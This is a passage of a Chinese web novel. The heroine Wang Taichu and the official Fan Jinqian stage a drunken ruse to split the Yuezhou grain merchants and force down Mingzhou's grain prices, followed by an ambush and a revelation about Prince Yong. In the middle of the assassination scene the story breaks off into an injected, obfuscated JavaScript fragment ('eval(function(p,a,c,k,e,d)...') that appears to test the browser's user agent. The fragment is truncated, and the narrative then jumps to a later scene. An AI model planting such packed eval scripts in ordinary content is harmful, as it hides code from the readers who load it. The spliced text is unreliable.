“唉，此事说来话长，都是粮价......”范金谦看了一眼侯在身侧的陈裕昌，停住话头，像是突然警觉起来似的，转身问道，“陈老板同我这个表弟是如何相识的？” “回禀范大人，草民同陶兄相识已有十数年之久，是以前在做买卖之时相识的。”陈裕昌恭谨地回答道。 “哦？竟有十数年之久，我怎么从未听我这个表弟说起过？” “表哥事忙，我哪敢芝麻绿豆的小事都来同表哥说起，自然是要捡要紧的说才是。”陶其然忙在旁边帮腔解围说道。 “哦？那今日是有何要紧之事，值得你如此大费周章？你应知我平日脾性，要不是今日是你邀我前来，醉星楼这般费金甚巨之地，我是万万不敢踏足的。” “是我的疏忽，未考虑表兄身份，也不知这醉星楼竟是如此费金之所。”听出范金谦话中意思，陶其然忙赔不是道，“此番确无要紧事宜，只因来明州办些俗务，偶然听得几句闲言，心下记挂表哥近况，便特意前来拜望罢了。” “哦？那其然可信这些流言？” “我自然是不信的，表兄素来磊落，将民生放在首位，怎么可能会勾结粮商抬高粮价？”范金谦于亲族之间，素有爱民轻财、忧民忘利的名声，在他刚听闻此事之时，对于这些妄加的指控他是万万不信的。 “咳咳咳——”。 此时陈裕昌不合时宜地咳嗽了起来，他扭过头去清了清嗓子，才开口道歉，“大人莫怪，方才草民喉头有些发痒。” “无碍，陈老板喝口茶水润润嗓子先，换季之时，最是容易嗓子不适。” “为兄在你眼中竟是如此之人？”范金谦爽朗大笑，回身继续问道，“可如果为兄并非你所想那般呢？” 范金谦眼见对方已将话题抛了出来，刚想就着这个话茬往下说，却瞥见王太初比了一个“且慢”的手势。 “表兄所为，自有其道理。无论表兄行何事，其然必当全力支持。若有需要其然效力之处，还请表兄尽管吩咐。”此时陶其然也改了口，而这改口的原因不知是因为方才范金谦的反问，还是陈裕昌的那一声咳嗽。 “哈哈哈，为兄只是说个玩笑话罢了。”范金谦笑着摆手说道。 随手拿起茶盏轻抿便不再开口。 “这醉星楼也真是奇了，偌大的酒楼竟不卖花雕，我去旁的酒楼才得了这几壶。” 正逢话题刚落，李余丰就提着两壶酒推门进来，时机分毫不差。 “花雕便宜，怎会出现在醉星楼此等酒楼？”范金谦指了指王太初，示意李余丰将酒壶递给她，“此番有劳李老板跑一趟了” “给范大人跑腿，是小人的福气。”李余丰还是像章长兴说的那般没有一点粮行东家的模样，虽已将酒壶递到了王太初的手中，却也不敢怠慢，在旁佯装协助。 “李老板何出此言，你即是其然的朋友，也便是我的座上宾，何论福气不福气，且来坐下喝酒，把斟酒的小事交给府中女使便是了。” “好好好，小人谢过范大人了。”言罢，李余丰便躬着腰在下首坐下。 琥珀色的花雕酒倾杯而入，满室先漫开陈香，今晚的这台戏才算真正拉开了序幕。 王太初执酒壶在手，自然知道要让哪些人真醉，让哪个人假醉。 果不其然，没过几个回合，陶其然先醉趴在了酒桌上，任是再怎么叫都叫不醒了。 随后便是李余丰，攀上了同知大人的肩膀开始称兄道弟。 除了陈裕昌因其酒量惊人还算理智，范金谦也在王太初的安排下开始装起了不胜酒力。 “陈老板、李老板皆是越州府的粮商，可认识越州府粮行公所的行首章长兴？” 眼瞧着众人皆已互称兄弟，真真假假说了不少掏心窝子的话，王太初觉得是时候了，便开始让范金谦说到了章长兴。 “自然知道，我同陈老板皆是越州粮行公所的成员，自然是跟章长兴相熟。”一提起章长兴，李余丰当即按耐不住，猛得一拍桌案站了起来。 “贤弟怎会如此激动。”范金谦着实是被吓了一跳，他素来直来直去，演了一晚上的戏已是让其心力交瘁，却没想还有这一激灵等着他，忙劝慰道，“先坐下来，先坐下来。” “李贤弟鲁莽，即便贤弟再是跟章行首有过节，也不可在范大人面前无状不是。” 陈裕昌摇摇晃晃地扶着桌沿站起身来，搂着李余丰的肩膀将其重新按到座位上。 过节？ 这新情况让范金谦一时之间晃了神，他和王太初原本的计划只是引出章长兴勾结自己抬高粮价的话题，却没料想竟还有意外之喜。 他看向执壶给李余丰斟酒的王太初，在瞧见王太初故意将酒斟满到杯沿之后便猜到了她的意思，那便是乘胜追击。 “过节？”范金谦故意好奇问道，“你们之间能有何过节？莫不是章行首欺压你不成？” 李余丰也没料到陈裕昌会直接将此事脱口而出，加之酒意上头，便只能愣在原地，一时之间不知如何回应。 那日望越渡口，本是李余丰的粮船该回港，没曾想归来的竟是章家的粮船。章长兴虽也为此事，将搞错顺序的船夫狠狠责罚了一番，但李余丰的心里，已然埋下了不信任的种子。此后，又有陈裕昌在旁撺掇，加之后来坊间有章长兴勾结范金谦的传闻，他便打定了主意，要来明州府直接找范金谦谈买卖，将原本属于他的收益重新夺回。 “何止是欺压李贤弟，章长兴身为越州府粮行公所的行首，轻易便可将自己定下的铁律推翻，如此行事之人，哪有可信之处，可以做越州府粮行的行首？”陈裕昌借着帮李余丰出头的名义，便不管不顾在范金谦面前说道了起来。 “哦？章行首在明州城内素来有重诺守信的名声，怎会如陈贤弟所说这般？”范金谦听闻此事连连摇头道，“不瞒两位贤弟，我对章行首的为人甚是看重。前几日他来明州府同我相叙，言语交谈间也看不出是这般不按规矩不守信诺之人。你们之间怕不是有什么误会吧？” 范金谦故意依照王太初早前吩咐的，将坊间流传的章长兴和自己勾结抬高粮价的传言，在此刻做实。 “范大人可莫要被章长兴平日里的伪装给骗了去，此人最是擅长当面一套背地里一套。”李余丰心中虽也对陈裕昌犯疑，可事到如今早已是没了退路，只能顺着势头被推着往前走。 “既然贤弟们都这般说了，对一事我倒是也有怀疑。这章长兴前脚刚踏出我的府门，明州府的街头巷尾便有了我勾结粮商抬高粮价的传闻。此事莫不是他给我宣扬了出去？”说至此处，范金谦也学着李余丰方才的样子拍案而起。 这个加戏动作，可是将毫无预料的王太初给吓了一跳，险些将手中的酒壶给扔了出去。 看着眼前范金谦更甚的演技，她偷偷对其竖起了大拇指。 “可是也不对啊？将我同他的事情宣扬出去于他又有何好处呢？”范金谦边说着边摇头重新坐回到了位子上。 “如果是章长兴想在事成之后独享其果，将范大人钉死在这个罪名上呢？”眼看着范金谦刚刚萌生的怀疑就要熄灭，李余丰只能追问道。 “将我钉死在这个罪名之上？”范金谦拖慢了声音，像是在琢磨一般。 此前的种种在赴约之前自己和王太初都有预见，可这部分却是他们没有彩排的。 这么短的时间之内，他们还没有想好章长兴会将官商勾结做高粮价之内情公之于众的理由，因此在王太初的建议之下，他们决定像此刻一般将这个问题抛给对手。 也正因为如此，后续之事，都需要范金谦自己面对。 “难道他就不怕我将他也拉下水吗？”范金谦死死地盯着眼前二人，李余丰虽尽力保持清醒，可已是难以为继。倒是陈裕昌还尚清醒，在自作聪明领导着这副棋局的走向。 “我信他有赌的成分。其一，若不是今日范大人与我们相交，知道了章长兴的为人，也定不会想到这谣言会是出自他的口中。就如大人方才所言，他没有道出事实的理由。其二，恕在下直言，他也在赌大人对自己名声的珍惜，如若他日真的查到大人头上，大人可会让官府有机会审你？将自己多年经营的口碑葬送在此事之上？” “如此说来，章长兴对我还真是颇为了解。”范金谦强忍住笑，假装唉叹道，“如若真到了那日，我恐怕会以死谢罪。” “正是如此。”陈裕昌继续说道，“只要是赌赢了便是巨富之资，但若是赌输了，这些也只是谣言罢了，又没有实证，又能定得了谁的罪。说不准他还在妄想范大人会因为舆论压力，破财消灾，让他独享了那份收益呢。” “陈贤弟如此说来，倒是让我茅塞顿开。”范金谦轻蔑一笑，假装赞同拍案称绝道。其实他的心底早已翻涌起浓烈的鄙夷，那些商人精于算计的嘴脸、满口虚妄的言辞都让他觉得不适。 为了利益，他们能将是非黑白颠倒，能将良知道义碾碎，这些踩着底线的虚伪算计，让他的胃里泛起一阵阵恶心，他想尽快结束眼前的荒唐。 “既然话已经说到这个份上了，二位贤弟也就不必再装模作样了，直接说此番特意寻我表弟相邀的目的便是。虽我被章长兴给摆了一道，可你们二人却是应当感恩于他。要不是他将我们之间的秘密给传了出去，你们也定猜不到他是投了我的门路。” 范金谦如此坦率，反倒是让李余丰和陈裕昌犯了难。他们面面相觑，一时之间竟分不清，眼前的是陷阱还是馅饼。 王太初虽也知道范金谦定是因这二人实在荒唐让人难以忍受才这样贸然就推快了节奏。可这场戏已是到了最关键的时候，冒进恐会让先前的努力功亏一篑。 她找着二人尚在迟疑的间隙，冲范金谦使了一个“慢下来”的眼色，示意他再忍耐一番。 “也是，章长兴毕竟是越州粮行的行首，从他的饭碗里抢食也确实是危险重重。”范金谦笑着站起身来，“既然如此，今日这话我便只当是没听过，今日这局就到此结束吧。也感谢二位兄台给我带来了这个消息。” 说罢，范金谦便佯装向门口走去。 “范大人请留步。” 眼见就要失去这个机会，陈裕昌忙起身拉住范金谦。事已至此，无论前路是陷阱还是馅饼，他们都已是没了退路。 “范大人猜的没错，此番我们来明州城就是来跟范大人谈买卖的。”他拉着范金谦重新回到桌案上，接过王太初手中的酒壶为范金谦斟满酒，继续说道，“章长兴虽是行首，越州粮行公所也自有规章，可如若行首都可破坏规矩，便也怪不得我们上行下效了。” “好好好，年轻人就是要有如此胆魄方能成就大事。”范金谦哈哈一笑，“只要你们帮我守口如瓶，莫要像章长兴那般想着过河拆桥，我这粮食跟谁买都是一样。”< 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见范金谦已是推远了酒杯，王太初便重新沏了一盏茶递了过去，趁着近身的功夫，故意用手肘撞了一下他的背。 可不料范金谦已是醉意深沉，神智感知皆钝，纵被轻轻一撞，竟毫无察觉。 “咳咳咳。”王太初见其没有反应，便只能假意咳嗽。 这一咳嗽，尽引来了众人纷纷侧目，范金谦疑惑地盯着王太初，觉着事情至此已是有了最完美的结局，全然不知其为何意，自己又还能做什么？ 陈裕昌更是露出了意味深长的探究。 “咳咳咳，老爷有几句话不便亲言，便由奴婢代为转达吧。既是交易，自当依买卖人的规矩行事。”王太初见没了退路，也便只能做起了那个逾矩的丫鬟，开口说道，“先前与章行首议买卖，盈利是五五分账。今与二位打交道，二位既非行首，在越州府粮行亦无分量可言，我等便需多取些利，六四分成如何？诸位可有异议？” 陈裕昌上下打量着王太初，先前一心只在买卖成败上，竟未留意到，身旁随侍的，原是这般明艳动人的少女。 此番他虽觉买卖顺遂，心中却总萦绕着一丝不安。此番听过王太初的话，那般悬着的劲儿才稍稍落下。 范金谦单凭自己一家之言，便如此草率断了与章长兴的买卖，不惜开罪越州府的粮行行首，此事本就透着古怪。但若说他打一开始便不满这利润的分配，倒也能说得通了。 “这位姑娘所言甚是，今日我们兄弟二人得此机会全是仰赖范大人，范大人自然该拿大头。”陈裕昌长舒一口气，作揖说道。 “哈哈哈，这个丫鬟平日里仗着我的宠爱最是无理，二位莫怪，二位莫怪。”范金谦此时也看明白了王太初的用意，笑说道，”那为兄就备着金山银山等着你们的粮食了。” 夜风卷着醉星楼飘出的酒香，范金谦被二人一左一右架着胳膊往外走。他脚步虚浮，半边身子几乎挂在陈裕昌的身上，垂着的脑袋还一点一点的，嘴里偶尔含糊地蹦出两句酒话。 此时李全胜已是在酒楼门口恭候多时，那日范府露面之后，他便一直贴身守护在王太初的周围，未曾离开。 范金谦被扶上马车，便躺倒在软塌上一动不动。李余丰和陈裕昌原还想说几句关心之语，却被王太初打断。 “两位东家只管带着粮食进城便是，此处人多口杂，便无需有这些虚礼了。”说罢，便忙吩咐李全胜驾车离开。 马车一动，车厢内的范金谦便一骨碌坐了起来。他看了眼四周多出来的几本古书，笑言道，“也算是下了一点功夫。” “范大人的演技可真是不赖，如若此事败了，范大人丢了官职，也可到那戏园子里讨口饭吃。”王太初提心吊胆在旁服侍了一个晚上，也是累了，无精打采打趣道。 “我瞧着太初姑娘更适合去那戏园子才是，姑娘的戏可是比我好多了。”范金谦往肚中罐了几口凉水，企图冲淡自己的酒意，埋怨道，“上这戏台子之前，姑娘只说自己将我同章长兴勾结抬高粮价的谣言给放了出去，要我顺着这个戏本子演，我看可远远不止这些吧？姑娘还做了哪些筹划，此刻可方便同我知会一声。” “哦？以范大人对我的了解，觉得我还筹划了什么？”王太初饶有兴致地盯着范金谦问道。 “方才提到的，章长兴同李余丰之间的过节，可是姑娘筹划的？” “那范大人可是抬举我了，我可没有这般本事，谋划到此等地步。”王太初摇头否认道，“我并未筹划李余丰，但今日不是李余丰，也会是别人。” 王太初故意卖起了关子，也给自己倒了一杯清茶，轻抿一口，才继续说道。 “我在码头勘查之时，发现越州府粮船售粮自有次序，遂在码头细询了一番。后经查证，果然和我猜的一样，他们是按照粮行公所的抽签顺序，一艘艘往明州府卸粮的。”王太初坏笑道，“这般井然有序的联盟，单靠人性的贪婪来突破，怕是太慢了些。思来想去，还是用离间计挑拨一番，更为妥当。” “于是我便让范大人的手下，跳过原定次序，直接去章长兴的粮船上购粮。原本还担心船夫会拒绝，没成想在如此暴利之下，就连粮行行首的粮船，也不免为此破例。”王太初抿了一口清茶继续说道，“之后的事情便简单多了，明州府本就有范大人你勾结粮商的谣言，我只需稍加添些柴火，将那主人公换成章长兴便是了。更让我惊喜的是，前几日章长兴确实是来了明州府，虽说不知所为何事，却不影响我对此多加利用。” “可太初姑娘为什么选那章长兴呢？”范金谦不解，“此人在生意场上颇有口碑，想往其身上泼脏水，可不是件容易的事。” “此前我确实没打听过章长兴的为人。只想着既然是离间计，便觉得挑个最有分量的人下手便好。若是只找两个寻常的粮行东家，他们怕是还能往上向章长兴告状，这样反倒耽误了我们的时间。” “姑娘确实是高明。可这些事情，之前姑娘便可与我说明白，何苦要瞒着我？”范金谦对于王太初的隐瞒有些气恼。 “我本想跟范大人说清事情来龙去脉，可一想到您是这般磊落正直透亮之人，最是不喜欺瞒旁人，便打算只把要紧的先告知大人，这般才不耽误你的演技。”见范金谦有些不悦，王太初赶紧堆起笑，拣这顺耳的话往他耳边递。 “你你你！一张巧嘴，横竖都是你占理。”面对王太初，范金谦也只能是宠溺摇头，“只是我还有些担心，就凭这两人，真能鼓动越州府的粮商往此处运粮吗？” “范大人又如何知道就此二人呢，说不定这个时候，醉星楼的门外都是越州府粮行的探子。”王太初胸有成竹说道，“贪婪的温床有了，挑事的出头鸟也找定了，眼下，该是我们收网的时候了。” 她此刻像头蓄势的猛兽，凶狠的目光牢牢锁着前方，分明是把猎物划入了自己的涉猎范围，只待时机便要出手。 42. 第十章 明州破局（六） 夜雾裹着望越渡，码头上巡逻官兵的甲片声刚刚远去，紧接着停泊在岸的粮船上就传来了船夫悉悉索索解开绳索的声音，他们压低篙杆，帆布不敢扯满，借着潮声的掩盖，像条鱼似的溜出码头。 夜雾里，昌隆粮行的粮船刚划出码头的阴影，船夫便惊住了。只见开阔的江面上竟稀稀落落地飘着数十艘船只，每艘船的船头虽已撤下了船旗，可船身上却还能隐约看到越州府的粮行标记。 半月之前，李余丰和陈裕昌率先打破了粮行的规矩，偷运粮粟至明州售卖。 未久，三江口码头便开始出现帮伙冒着“范金谦”的名号收粮，虽价比官价低些，却也已是足够丰厚，而这也是为何今夜有如此多的粮船冒夜赶赴明州的原因。 “李老板，你看这还用得着遮遮掩掩的吗？您瞅瞅这江面，出港的粮船比咱灶上刚下锅的饺子还密，我看还不如索性点灯扬帆，能早一时到便能早一时落袋为安？” 此时李余丰亦是心乱难平。虽范金谦并未食言，尽数收了他运往明州府的米粟，然码头上突然出现的贩夫，却令其心有惶惶。 “这帮家伙耳报神可真灵啊！我这儿刚捞了没几日好处，他们就跟闻着腥味似的，急匆匆就赶来了。”他望着江面上一艘艘的粮船，朝江心里“啐”了一口，带着股破罐破摔的狠劲儿命令道，“不管他们！既然做都做了，去得晚了，怕是连口渣都捞不着！这就给我点灯扬帆起航，全速前进！” 明州府三江口码头，络绎不绝的越州粮船，首尾相连，竟将河道堵得水泄不通。往日通畅的江面，此刻只剩船只慢慢挪蹭，连轻舟都难寻缝隙穿行。 码头旁的瞭望台上，范金谦难掩心中喜悦，这些从越州府争先恐后而来的粮船，此时还全然不知自己已是落入了圈套，还一门心思地四处寻人找着他的门路。 “太初姑娘，到收网的时候了吗？”范金谦对着同样站在瞭望台上憨笑的王太初发问。 此计谋乃王太初所谋，行计之细亦由她掌控，纵是计中之计，亦全出其策。是以范金谦遇事，常念及问她。盖因他至今不知，自己究竟是那居高筹谋之人，抑或仅是此计中寻常的一环。 “范大人可有清点过？这些粮船所载的粮食，够不够把明州府的粮价给拉下来？” “够了够了。”范金谦连连点头说道，“恐怕若真还有粮船要来趟这趟浑水，这码头也是没有他们的位置了。” “好，那我们便收网了。”王太初将范金谦拉到台前，指着江汊的方向说道，“范大人请看江汊那头，那是我们早早就备好的两艘油船。过不多时，他们便会在汊口相撞，其中一艘会倾出油污，将汊口江面盖了去。到那时，范大人便可带官兵将那处围拢，这样就可将越州府的粮船困在三江口码头之内。” “姑娘真是好计谋。”范金谦听罢，忙开口道，“来人！按照太初姑娘方才的指示，将江汊给我封起来。” 言罢，他旋即转身，对着王太初恭恭敬敬行了一礼，腰身弯得极低，说道：“此番明州府能够脱险，范某能够将功赎罪，全仰赖太初姑娘相助，范某在此谢过。” “范大人客气，只是小女还有一句话需要提醒大人，希望大人莫要觉得小女多管闲事。今日之后，这些被困在明州城内的粮行东家定会找形形色色的关系去寻你说情。可大人需谨记将这圣贤书中的道理先放下，无论他们说了什么，抑或是做了什么，此辈都并非是痛改前非，更无良心发现可言！他们此刻退这一步，求的不过是自己的海空天空罢了。”王太初的眼神清透冷峻，和往日极其不同，她淡然说道，“大人可还记得初在码头偶遇时，我同你说的话？” “用无赖的方法对付无赖。”范金谦看着眼前的王太初，眼中除了欣赏之外，不知为何，竟多了一分同情，“太初姑娘放心，以恶制恶，这个道理，我学会了。” 话音刚落，他便转身走下瞭望台，脚步踩得木阶轻轻作响。王太初还立在台上，只听得身后传来范金谦的喊声，字句清亮：“太初姑娘，我不喜欢花雕，我喜欢的是竹叶青。” 事情进展得异常顺利。江汊口的油污，足足清理了半个月仍不见干净。官府更是以保障过往船只安全为由，将那处水道一直封锁，码头上的粮船进不得也出不得。 眼瞧着雨季转眼就要来临，船上堆着的粮食要是再不分销出去，怕不是要在船舱里捂得发霉烂掉。 李余丰站在船头，看着远处被官船围起来的江汊口只能长叹。他拼尽全力将自己在越州府粮仓的粮粟一股脑全运到了此处，原想着大赚一把，却没料到此刻却是真要折在这里了。 范金谦的府邸已是大门紧闭，坊间甚至有了他贪赃渎职被逮捕的传言。明州府的知府衙门门口亦是守卫森严，任是找了何人去说情都无济于事。 他这才猛然醒悟，自己竟是中了圈套！眼下四面困局，纵有天大本事，也是插翅难逃了。 李余丰就这样呆呆立在船头，望着朝阳缓缓升起，直到此刻夕阳把江面染成金红。 “放粮！放粮！放粮！给我放粮！”李余丰狠狠将手中的玉蝉手握往船板上一摔，猛地转过身，对着船上的船夫扯开嗓子喊了起来，“给老子开仓放粮！” 他的话音刚落，靠近李家粮船的那几艘船只，便陆陆续续也传出了“放粮”的指令，声音细碎却清晰。在外人看来，毕竟连跟范金谦有深交的李余丰也没了对策，他们这些没靠山的小户，哪里还敢硬撑？ 如此看来，唯有尽早把货出售，才算亏损最少；再晚一步，怕是连个像样的价格都卖不上了。 就这样原本僵在码头的粮船，竟一艘接着一艘动了起来，一麻袋一麻袋的米粟坠着绳索往下落，明州府内的粮价，也是一日低过一日。 这些时日，赵盼儿的心情也是格外畅快。先前凭着一股泼辣劲儿在府衙据理力争，总算为自己杀出了公道--自己过世多年的父亲，终于不必再被强征着纳粮纳税了。 可另一处，王太初却瞧着不是很有精神的样子，她虽帮赵盼儿置办着去万安城的行囊，可心底却还在琢磨着那日在范府之事。 先前还有粮价的事可以分神，可如今这事一了，那日的种种便又绕回心头。 她看着走在前头，手中拎满置办之物的李全胜，忽又忆起那日范金谦所言。 那日范府客堂，李全胜问范金谦可有不可告人的秘密？ 范金谦的神情虽有些局促，可话语间却反复称述并无秘密可告，甚至还顺势逗趣了两句，所以她并无多疑。 可这几日，想起当日的细节，再看范金谦与李全胜近日的往来，王太初心里那点疑惑，竟又重新冒了出来。 此数日，每逢与范金谦一处，李全胜必寻尽由头，言说雍王对自己的偏爱；且常变出各种物件，称是雍王自万安城亲自捎来。 然李全胜每有此举，范金谦便总能寻着空隙，对雍王德行冷嘲热讽。 此乃王太初心中最觉怪异之处。且不论范金谦与雍王往日交情如何，单说他身为臣子，却对皇子这般无礼无状，便已不合常理。 更让王太初心中生疑的是，她渐渐发现，自己和范金谦的交情越是深厚，范金谦对雍王的敌意反倒越发浓烈，仿佛这份交情与那份敌意，是隐隐绑在一起的。 “今日雍王殿下没让李副将给我送些有趣的物件吗？”王太初试探问道，“怎么没了范大人在身侧，雍王殿下的恩宠就都不见了？” “或许是殿下知道明州城的事情已经解决，知道姑娘即刻便能回万安，便没再送物件过来。” “哦？那我倒是算不明白了。自万安城快马加鞭赴明州府，需几时？粮价之事了结不过数日，纵李副将飞鸽传书直抵万安，然早些送出的物件也应陆续到这里才是。”王太初挡住李全胜，看着他的眼睛问道，“李副将说话如此漏洞百出，是故意想让我怀疑？还是真是如此蠢笨？” “全胜不知姑娘所言是何意？”李全胜神色平静，丝毫没有因为王太初突然的质问而惊慌，反倒是应对自如，“也或许是今日的物件还未送到。” “也是，往日也不是每日都有。”王太初也不反驳，只是顺着李全胜的话继续往下问，“前几日殿下送来的那个蜜酿核桃酥便很不错。虽说是甜腻了一些，可自万安远至，竟半点未失酥脆之态。待我归返万安，定要亲自前去，尝一尝刚出炉的本味，届时李副将可要与我同去。” “届时有殿下亲自陪太初姑娘前去，全胜自会在旁保护。” “那便最好不过了，明日我们便能启程回万安城了，出来数月，我倒是对万安城的那些吃食想念得紧。只是回了万安城我们便瞧不着范大人了。”她仍然盯着李全胜问道，“这几日我瞧着李副将和范大人之间的相处，觉着你们之间似乎还有未了之事，李副将可需些时间前去解决？” “全胜和范大人之间并无未决之事。” “哦？是我老生常谈了。不是你们之间有未决之事，实则是李副将想让我觉着你们之间尚有牵扯。”王太初将话说得七弯八绕，眼底却藏着了然，勾唇轻嗤一声，笑说道，“此事瞧着似也和殿下有关，再往深处推敲着看，又好似也同我有关。” 她边说边观察着李全胜的反应，只见其神色依旧平静如水，这般城府，显然绝非蠢笨之人。 “是姑娘多虑了。”他的额角沁出细汗，两手满满提着各式纸包，里头是明日要带回万安城的糕点。 “呵呵，李副将既然存了心思，铁了心要借我的多虑来谋算些什么，我便偏是不能着了你的道。”王太初将两手在胸前一抱，索性耍起了无赖说道，“我今日就做那蠢笨之人。无论是四和香之事，还是殿下同范大人之间的瓜葛，我都不需要李副将来旁敲侧击，回到万安城之后，我自然会亲自去问殿下。” 话音刚落，王太初就嘟囔着转入一条陋巷。李全胜急随其后，不敢有丝毫懈怠，他知道越是看似安全的时候，越是不能掉以轻心。 等转至巷口，见王太初立于一小店门前，李全胜方宽下心来。他望着眼前人小口食着试吃糕点，心里明白，知道她虽嘴上说着无所谓，其实已是生出了怀疑。 这怀疑的种子已经种下，剩下的便只有等着范金谦的临关一措了。 正当李全胜在巷口踌躇之时，肩头忽被轻轻一蹭，手中攥着的纸包尽数落到了青石板路上，他慌忙弯腰去捡。只见两个路人从身旁走过，脚步不疾不徐，只带起一阵极淡的风。他下意识地往旁挪了挪，等起身目光再追过去时，那两人已一左一右，稳稳站在了王太初身边，像是早算好位置似的。 李全胜见此情景，连半分念头都没转，将手中纸包一扔，腰间长剑已是出鞘，朝着王太初冲了过去。 可那两人动作更快，早便拔出短刀，直朝着王太初的心口捅去。千钧一发之际，李全胜连想都来不及想，只凭着本能扑上前，想用自己的身体去扛下那刀。 李全胜刚要扑到王太初身前，后腰却突然被一股力道狠狠揣中。是王太初抬脚将其踢开，动作又快又狠。他踉跄着摔到地上，还想起身之时，抬头却看到王太初已是微微侧身，避开了刺来的短刀。 此状况也确实是出乎两个刺客的意料，瞧着王太初弱不禁风的，怎料身形竟这般灵活，轻易就避开了直刺而来的刀锋。 “李副将还真是蠢笨，哪有人往刀口上撞的。”趁着刺客还未反应过来，王太初就像鱼塘里的游鱼一般闪进了旁侧一条更窄的巷子，边跑边还不忘提醒李全胜，“我的命可不比你的宝贵，李副将没必要为了我死在此地。” 还没等王太初再说上半句话，那两刺客便跟着追进了窄巷。 “该死！”李全胜低咒一声，掌撑地面，旋即起身，朝着巷口追去。 人还没到巷口，便看见先前追出去的两个刺客正连连后退，狼狈退出巷来。 他正在疑惑之时，抬眼便见数人护着王太初现身，那些人正是范金谦所言、藏于暗处的明州府官兵。 见刺杀不成，那两个刺客竟无半分迟疑，当即横刃自刎，没有给官兵留一丝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他像是终于鼓足了勇气，深吸一口气，想再接着往下说，却被李全胜喝止：“范大人！” “明州府的粮价失控，全是因我而起。”范金谦并没有理会，继续说道，“西境军粮遭劫，西军没了粮草支撑，边境不稳。” “范大人！慎言！”眼见范金谦就要全盘托出，李全胜更是着急，大步上前想要阻止，却被王太初一把拉住。 “李副将在明州府演了那么久的戏，为的不就是此刻吗？怎么现下倒看着像是真不乐意了？还是说是李副将入戏太深了？”她笑问着李全胜，将其拉开，示意范金谦继续。 “边境不稳，便是兵部不稳，兵部不稳，便是雍王殿下不稳。” “范金谦！你放肆！”眼见范金谦的言辞越发猖獗，李全胜终是按耐不住，再次厉声喝止道。 “因而雍王殿下便给了范某十万两白银，在明州府内，不惜一切代价，筹措军粮，解西境之急。”看着王太初的眼神慢慢暗淡，他越是觉着心虚，声音也是越来越小，“太初姑娘赐我良计，帮我以功补过，是真正心系百姓之人。作为朋友，此事我必当告知姑娘，断不能让你在定下终身之前，连未来要托付的夫君到底是何品性都不知道。” “范金谦！你这般说辞，分明是在污蔑殿下。” “我从未有过污蔑殿下之意，唯将实情告知与太初姑娘罢了。至于太初姑娘如何考量，是她的私事。”范金谦一生唯“理”是从，坦荡正直。多年之前，他因这份坦荡与刘聿洵相交；多年之后，却也恰恰是这份直言不讳，将王太初和刘聿洵的关系，一步步推到了悬崖边，“姑娘放心，我定也会将事情的真相告知朝廷，任凭朝廷处置。” 李全胜见王太初受了伤的小腿一个踉跄，竟难自持地向后退去，终是倚着墙面才勉强稳住。 他追悔万分。临行前，曹贵妃曾授意于他，令其离间雍王和王太初之间的情谊，让王太初拒绝陛下的指婚。 他亦觉得，夺储之路危机四伏，其间最该摒弃的，便是那会乱人心智的情情爱爱。 他知王家素来心系百姓，也察觉王太初对雍王的感情，本是欣赏其心怀家国。他也知王太初智计过人，只需略加点拨，便能参透其中奥秘。他亦算准范金谦性情直爽，又与王太初交好，断不会坐视太初被蒙在鼓里，故将范金谦也纳入此策之中。 可此刻，看着沉默不语的王太初，他后悔了。 夜风扫过青石板路，散落在地的纸包被风拂动，点心脱出，沿着台阶滚落。一个官兵见此情状，慌忙追上前去，脚下一乱，竟撞到了王太初，这才将她从自己的思绪里拉了回来。 “范大人糊涂，此前我便同你说过，这明州城的危机若是真能解了，这功劳也不是你的。”王太初并未说起刘聿洵，只是恨铁不成钢地反问范金谦开口道，“若这功劳不是你的，又何来以功补过的说法？” “这......”范金谦从未想到过此处，从一开始知府未阻挠开银库之时，这个结局便定了下来。若成功就是明州知府的功劳，若失败便是他范金谦的责任。 “若此功非你所属，那范大人便是罔顾百姓、哄抬粮价的罪魁祸首，按律是要受刑的。” “如若非要如此，那我范金谦也认了！” “范大人若真认下来，自然能求得心安。可是范大人有否想过，明州陷困之际，众官无一人敢担责，唯大人独扛重任。我若是大人，真心为明州百姓计，我定不会将明州府交到那些尸位素餐之辈的手中。”王太初所言，恰似暗夜明灯，令范金谦眼神骤亮。 “可是......” “范大人不必多言，我也只是道出我的想法罢了，最终要如何取舍还需范大人自己考量。”她抬了抬手，阻止了范金谦想要继续的话头。 此时她心绪烦乱，不愿再为此事多费口舌，回头瞥了眼李全胜，才再开口说道。 “此外，关于雍王殿下之事，待我返回万安城之后，自会亲自向他询问。” 43. 第十一章 王太初的马车回到万安城的时候已过立秋，城外官道上的草木已染秋意。王太初的车队本想在道旁稍作休整，整理下行囊再入城，却没承想，道边先映入眼帘的是特意等候在此处的周元月。 从它山别宫分别之后，王太初便未再见过她，今日突然来访，虽心下厌恶，可也想看看其今日葫芦里卖得究竟是什么药？ “周姑娘多日未见，特意等在此处，可是姑娘那里又有了必须让我知晓的雍王殿下之事？”多日舟车劳顿，加之腿部伤势感染，王太初在回京路上还起了一次高烧，因而语气并不友善。 “王姑娘何苦这般拒人千里之外？你我相识一场，我来迎你入城有何不可？”周元月早已熟悉了王太初对自己的无礼，因而也并不在乎，仍然笑嘻嘻地说道。 “周姑娘何不爽快一些？近来殿下之事我也是多有耳闻，说不准姑娘要说的，压根掀不起什么波澜。有什么话，姑娘尽管说便是了。”说到此处，王太初瞥了一眼站在其身侧的李全胜。 这一路这个雍王身旁的贴身护卫，始终小心伺候在侧，满眼的关心也绝非是假。但王太初始终记着自己被他利用之事，心头不畅快，时不时还要泄一泄心头那点不快。 “你我也是相识一场……” “周姑娘性傲，本意应是不愿与我在此闲扯，何不若在我伶牙俐齿之前，将要说的话都快些说了，也不用彼此在这官道上浪费时间？”周元月戏拙，王太初也无心情再看，打断她说道。 “王姑娘还是这般没有耐性，他日若真成了王妃，像这样寡趣的场合定不会少。若皆这般不耐，可如何是好？” “周姑娘真想知道我遇无味场合会当如何？”她盯着周元月，眼神中最后一丝耐性也耗尽，转身就要走，“无趣场合，离开便是了。” 眼看王太初转身就要离开，周元月一把将其拉住。原本王太初的腿伤就没痊愈，被这样一拉，一个重心不稳险些就要摔倒。 幸而李全胜见状一把将她扶住，抬手将其和周元月隔开。一个常年在军中历练的糙汉，哪里知道轻重，他原以为只是轻轻一隔，可对常年在深闺中的周元月来说却是使了蛮力了。 